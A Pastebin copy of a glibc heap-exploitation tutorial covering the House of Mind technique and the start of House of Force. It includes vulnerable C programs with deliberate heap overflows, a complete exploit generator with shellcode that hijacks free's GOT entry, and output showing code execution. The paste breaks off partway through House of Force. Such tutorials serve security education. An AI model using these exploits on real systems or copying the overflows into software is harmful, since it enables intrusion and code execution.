API tools faq
paste
jaredec18

Untitled

jaredec18
Sep 16th, 2019
164
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.51 KB | None | 0 0
raw download clone embed print report
  1. /* vuln.c
  2. House of Mind vulnerable program
  3. */
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6.  
  7. int main (void) {
  8. char *ptr = malloc(1024); /* First allocated chunk */
  9. char *ptr2; /* Second chunk/Last but one chunk */
  10. char *ptr3; /* Last chunk */
  11. int heap = (int)ptr & 0xFFF00000;
  12. _Bool found = 0;
  13. int i = 2;
  14.  
  15. for (i = 2; i < 1024; i++) {
  16. /* Prereq 1: Series of malloc calls until a chunk's address - when aligned to HEAP_MAX_SIZE results in 0x08100000 */
  17. /* 0x08100000 is the place where fake heap_info structure is found. */
  18. [1]if (!found && (((int)(ptr2 = malloc(1024)) & 0xFFF00000) == \
  19. (heap + 0x100000))) {
  20. printf("good heap allignment found on malloc() %i (%p)\n", i, ptr2);
  21. found = 1;
  22. break;
  23. }
  24. }
  25. [2]ptr3 = malloc(1024); /* Last chunk. Prereq 3: Next chunk to ptr2 != av->top */
  26. /* User Input. */
  27. [3]fread (ptr, 1024 * 1024, 1, stdin);
  28.  
  29. [4]free(ptr2); /* Prereq 2: Freeing a chunk whose size and its arena pointer is controlled by the attacker. */
  30. [5]free(ptr3); /* Shell code execution. */
  31. return(0); /* Bye */
  32. }
  33. Heap memory for the above vulnerable program:
  34.  
  35. https://docs.google.com/drawings/d/1U_PwBlVoR3KuqOwQXpU6lXE12aDNhdfFiCSqzGaklkE/pub?w=721&h=834
  36.  
  37. Line[3] of the vulnerable program is where heap overflow occurs. User input gets stored from chunk1’s mem pointer to a total size of 1 MB. Thus inorder to successfully exploit heap overflow, attackers provides the following user input (in the same listed order):
  38.  
  39. Fake arena
  40. Junk
  41. Fake heap_info
  42. Shellcode
  43. Exploit Program: This program generates attacker data file:
  44.  
  45. /* exp.c
  46. Program to generate attacker data.
  47. Command:
  48. #./exp > file
  49. */
  50. #include <stdio.h>
  51.  
  52. #define BIN1 0xb7fd8430
  53.  
  54. char scode[] =
  55. /* Shellcode to execute linux command "id". Size - 72 bytes. */
  56. "\x31\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e"
  57. "\xc9\x6a\x42\x83\xeb\xfc\xe2\xf4\x34\xc2\x32\xdb\x0c\xaf\x02\x6f"
  58. "\x3d\x40\x8d\x2a\x71\xba\x02\x42\x36\xe6\x08\x2b\x30\x40\x89\x10"
  59. "\xb6\xc5\x6a\x42\x5e\xe6\x1f\x31\x2c\xe6\x08\x2b\x30\xe6\x03\x26"
  60. "\x5e\x9e\x39\xcb\xbf\x04\xea\x42";
  61.  
  62. char ret_str[4] = "\x00\x00\x00\x00";
  63.  
  64. void convert_endianess(int arg)
  65. {
  66. int i=0;
  67. ret_str[3] = (arg & 0xFF000000) >> 24;
  68. ret_str[2] = (arg & 0x00FF0000) >> 16;
  69. ret_str[1] = (arg & 0x0000FF00) >> 8;
  70. ret_str[0] = (arg & 0x000000FF) >> 0;
  71. }
  72. int main() {
  73. int i=0,j=0;
  74.  
  75. fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd */
  76. fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk */
  77. fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd_nextsize */
  78. fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk_nextsize */
  79. /* Fake Arena. */
  80. fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* mutex */
  81. fwrite("\x01\x00\x00\x00", 4, 1, stdout); /* flag */
  82. for(i=0;i<10;i++)
  83. fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fastbinsY */
  84. fwrite("\xb0\x0e\x10\x08", 4, 1, stdout); /* top */
  85. fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* last_remainder */
  86. for(i=0;i<127;i++) {
  87. convert_endianess(BIN1+(i*8));
  88. if(i == 119) {
  89. fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* preserve prev_size */
  90. fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* preserve size */
  91. } else if(i==0) {
  92. fwrite("\xe8\x98\x04\x08", 4, 1, stdout); /* bins[i][0] = (GOT(free) - 12) */
  93. fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */
  94. }
  95. else {
  96. fwrite(ret_str, 4, 1, stdout); /* bins[i][0] */
  97. fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */
  98. }
  99. }
  100. for(i=0;i<4;i++) {
  101. fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* binmap[i] */
  102. }
  103. fwrite("\x00\x84\xfd\xb7", 4, 1, stdout); /* next */
  104. fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* next_free */
  105. fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* system_mem */
  106. fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* max_system_mem */
  107. for(i=0;i<234;i++) {
  108. fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* PAD */
  109. }
  110. for(i=0;i<722;i++) {
  111. if(i==721) {
  112. /* Chunk 724 contains the shellcode. */
  113. fwrite("\xeb\x18\x00\x00", 4, 1, stdout); /* prev_size - Jmp 24 bytes */
  114. fwrite("\x0d\x04\x00\x00", 4, 1, stdout); /* size */
  115. fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd */
  116. fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk */
  117. fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd_nextsize */
  118. fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk_nextsize */
  119. fwrite("\x90\x90\x90\x90\x90\x90\x90\x90" \
  120. "\x90\x90\x90\x90\x90\x90\x90\x90", 16, 1, stdout); /* NOPS */
  121. fwrite(scode, sizeof(scode)-1, 1, stdout); /* SHELLCODE */
  122. for(j=0;j<230;j++)
  123. fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
  124. continue;
  125. } else {
  126. fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* prev_size */
  127. fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* size */
  128. }
  129. if(i==720) {
  130. for(j=0;j<90;j++)
  131. fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
  132. fwrite("\x18\xa0\x04\x08", 4, 1, stdout); /* Arena Pointer */
  133. for(j=0;j<165;j++)
  134. fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
  135. } else {
  136. for(j=0;j<256;j++)
  137. fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
  138. }
  139. }
  140. return 0;
  141. }
  142. Heap memory for the vulnerable program, with attacker generated data file as user input:
  143.  
  144. https://docs.google.com/drawings/d/1--VLWTMBoF1RMNTchYu5EFScxGBSw1MovyOi656tgow/pub?w=721&h=834
  145.  
  146. With attacker generated data file as user input, ‘glibc malloc’ does the following, when line[4] of our vulnerable program gets executed:
  147.  
  148. Arena for the chunk that is getting freed is retrieved by invoking arena_for_chunk macro.
  149. arena_for_chunk: If NON_MAIN_ARENA (N) bit is not set, main arena is returned. If set, corresponding heap_info structure is accessed by aligning the chunk address to a multiple of HEAP_MAX_SIZE. Then arena pointer of the obtained heap_info structure is returned. In our case, NON_MAIN_ARENA bit is set by the attacker and hence heap_info structure (located at 0x08100000) of the chunk that is getting freed is obtained. Attacker would also have overwritten the arena pointer (of the obtained heap_info structure) in such a way that it points to the fake arena, ie) heap_info’s ar_ptr = Fake arena’s base address (ie)0x0804a018).
  150. Invoke _int_free with arena pointer and chunk address as arguments. In our case arena pointer points to fake arena. Thus fake arena and chunk address are passed as arguments to _int_free.
  151. Fake Arena: Following are the mandatory fields of fake arena that needs to be overwritten by the attacker:
  152. Mutex – It should be in unlocked state.
  153. Bins – Unsorted bin’s fd should contain the address of GOT entry of free – 12.
  154. Top –
  155. Top address should not be equal to the chunk address that is getting freed.
  156. Top address should be greater than next chunk address.
  157. System Memory – System memory should be greater than next chunk size.
  158. _int_free():
  159. If chunk is non mmap’d, acquire the lock. In our case chunk is non mmap’d and fake arena’s mutex lock is acquired successfully.
  160. Consolidate:
  161. Find if previous chunk is free, if free consolidate. In our case previous chunk is allocated and hence it cant be consolidated backward.
  162. Find if next chunk is free, if free consolidate. In our case next chunk is allocated and hence it cant be consolidated forward.
  163. Place the currently freed chunk in unsorted bin. In our case fake arena’s unsorted bin’s fd contains the address of GOT entry of free – 12 which gets copied to ‘fwd‘ value. Later currently freed chunk’s address gets copied to ‘fwd->bk’. bk is located at offset 12 in malloc_chunk and hence 12 gets added to this ‘fwd’ value (ie) free-12+12). Thus now GOT entry of free gets modified to contain currently freed chunk address. Since the attacker has placed his shellcode in the currently freed chunk, from now on whenever free gets invoked attacker’s shellcode gets executed!!
  164. Executing the vulnerable program with attacker generated data file as user input executes the shell code as shown below:
  165.  
  166. sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
  167. sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ gcc -g -o exp exp.c
  168. sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ ./exp > file
  169. sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ ./vuln < file
  170. ptr found at 0x804a008
  171. good heap allignment found on malloc() 724 (0x81002a0)
  172. uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
  173. Protection: At present day, house of mind technique doesnt work since ‘glibc malloc’ has got hardened. Below check is added to prevent heap overflow using house of mind.
  174.  
  175. Corrupted chunks: Unsorted bin’s first chunk’s bk pointer should point to unsorted bin. If not ‘glibc malloc’ throws up corrupted chunk error.
  176. if (__glibc_unlikely (fwd->bk != bck))
  177. {
  178. errstr = "free(): corrupted unsorted chunks";
  179. goto errout;
  180. }
  181. House of Force: In this technique, attacker abuses top chunk size and tricks ‘glibc malloc’ to service a very large memory request (greater than heap system memory size) using top chunk. Now when a new malloc request is made, GOT entry of free would be overwritten with shellcode address. Hence from now on whenever free is called, shellcode gets executed!!
  182.  
  183. Prerequisites: Three malloc calls are required to successfully apply house of force as listed below:
  184.  
  185. Malloc 1: Attacker should be able to control the size of top chunk. Hence heap overflow should be possible on this allocated chunk which is physically located previous to top chunk.
  186. Malloc 2: Attacker should be able to control the size of this malloc request.
  187. Malloc 3: User input should be copied to this allocated chunk.
  188. Vulnerable Program: This program meets the above prerequisites.
  189.  
  190. /*
  191. House of force vulnerable program.
  192. */
  193. #include <stdio.h>
  194. #include <stdlib.h>
  195. #include <string.h>
  196.  
  197. int main(int argc, char *argv[])
  198. {
  199. char *buf1, *buf2, *buf3;
  200. if (argc != 4) {
  201. printf("Usage Error\n");
  202. return;
  203. }
  204. [1]buf1 = malloc(256);
  205. [2]strcpy(buf1, argv[1]); /* Prereq 1 */
  206. [3]buf2 = malloc(strtoul(argv[2], NULL, 16)); /* Prereq 2 */
  207. [4]buf3 = malloc(256); /* Prereq 3 */
  208. [5]strcpy(buf3, argv[3]); /* Prereq 3 */
  209.  
  210. [6]free(buf3);
  211. free(buf2);
  212. free(buf1);
  213. return 0;
  214. }
  215. Heap memory for the above vulnerable program:
  216.  
  217. https://docs.google.com/drawings/d/1giYA51go8_9G6l7lJHUefXmjR4bEMfAEIWQyhGYnIRw/pub?w=751&h=628
  218.  
  219. Line[2] of the vulnerable program
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!